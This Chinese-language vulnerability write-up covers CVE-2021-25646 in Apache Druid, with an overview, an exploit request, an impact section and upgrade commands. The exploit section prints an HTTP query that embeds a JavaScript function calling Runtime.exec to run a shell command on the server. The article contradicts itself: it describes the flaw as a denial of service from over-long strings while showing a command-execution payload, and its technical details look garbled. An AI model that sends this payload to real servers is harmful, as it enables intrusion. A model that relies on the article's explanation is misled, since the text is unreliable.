您的位置:

Apache Druid漏洞分析

一、漏洞概述

Apache Druid是一款由Apache组织开发的分布式数据存储和分析系统。近期,Druid所存在的一个漏洞引发了安全界的广泛关注。目前已被标记为CVE-2021-25646。

CVE-2021-25646漏洞是由于Druid没有正确地限制攻击者在“hyperUnique”查询中使用的字符串长度而导致的。当执行hyperUnique查询时,攻击者可以通过提交包含格式化的JSON数据的HTTP请求来利用此漏洞。攻击者可以利用此漏洞在目标服务器上进行DoS攻击,甚至导致服务器崩溃。

二、漏洞利用过程

攻击者可以通过提交POST请求来利用该漏洞。以下是一个例子:

POST /druid/v2/?pretty HTTP/1.1
Host: druid.example.com
Content-Type: application/json

{
  "queryType" : "groupBy",
  "dataSource" : "test",
  "granularity" : "all",
  "dimensions" : ["{ \\"type\\": \\"extraction\\", \\"extractionFn\\": { \\"type\\": \\"javascript\\", \\"function\\": \\"function(x) { java.lang.Runtime.getRuntime().exec(\\'touch /tmp/owned\\'); return \\'xd\\'; }\\", \\"injective\\":false }, \\"dimension\\":\\"foo\\", \\"outputName\\":\\"bar\\" }"],
  "aggregations" : [ {
    "type" : "hyperUnique",
    "name" : "a",
    "fieldName" : "a"
  } ],
  "intervals" : ["1900/3000"],
  "filter" : {
    "type" : "bound",
    "dimension" : "foo",
    "lower" : "1",
    "upper" : "2",
    "alphaNumeric" : false,
    "lowerStrict" : false,
    "upperStrict" : false,
    "ordering" : "numeric"
  },
  "having" : {
    "type" : "equalTo",
    "aggregation" : "a",
    "value" : "1"
  },
  "limitSpec" : {
    "type" : "default"
  },
  "context" : {
    "skipEmptyBuckets" : true,
    "sqlQueryId" : "abcd1234"
  }
}

上面的请求向Druid发送一条用于计算“hyperUnique”的查询。该查询中包含了一个JavaScript函数,攻击者可以利用这个函数来执行任意的命令。因为Druid没有检查该函数的大小,攻击者可以提交超长的函数字符串来占用服务器资源。

三、漏洞危害

根据官方估计,这个漏洞可能导致服务器遭受DoS(拒绝服务)攻击。攻击者可以使用此漏洞来让服务器崩溃,从而瘫痪整个在线业务系统,导致业务系统不可用。

四、修复方法

Apache官方已经发布了修复此漏洞的版本。管理员应该尽快更新Druid到最新的版本。具体操作方法可以参考如下步骤:

1. 下载最新的Druid安装包

curl -O https://downloads.apache.org/druid/0.20.2/apache-druid-0.20.2-incubating-bin.tar.gz

2. 解压安装包

tar -xvzf apache-druid-0.20.2-incubating-bin.tar.gz

3. 将Druid的新版本部署到服务器并重新启动Druid的服务

cp -r apache-druid-0.20.2-incubating /usr/local/druid
/etc/init.d/druid start

五、总结

Apache Druid是广受欢迎的一款数据存储和分析系统,但如果不及时修复漏洞,将会面临严重的安全问题。管理员需要注意Apache Druid的安全问题并及时升级,以免被攻击者利用此漏洞造成损失。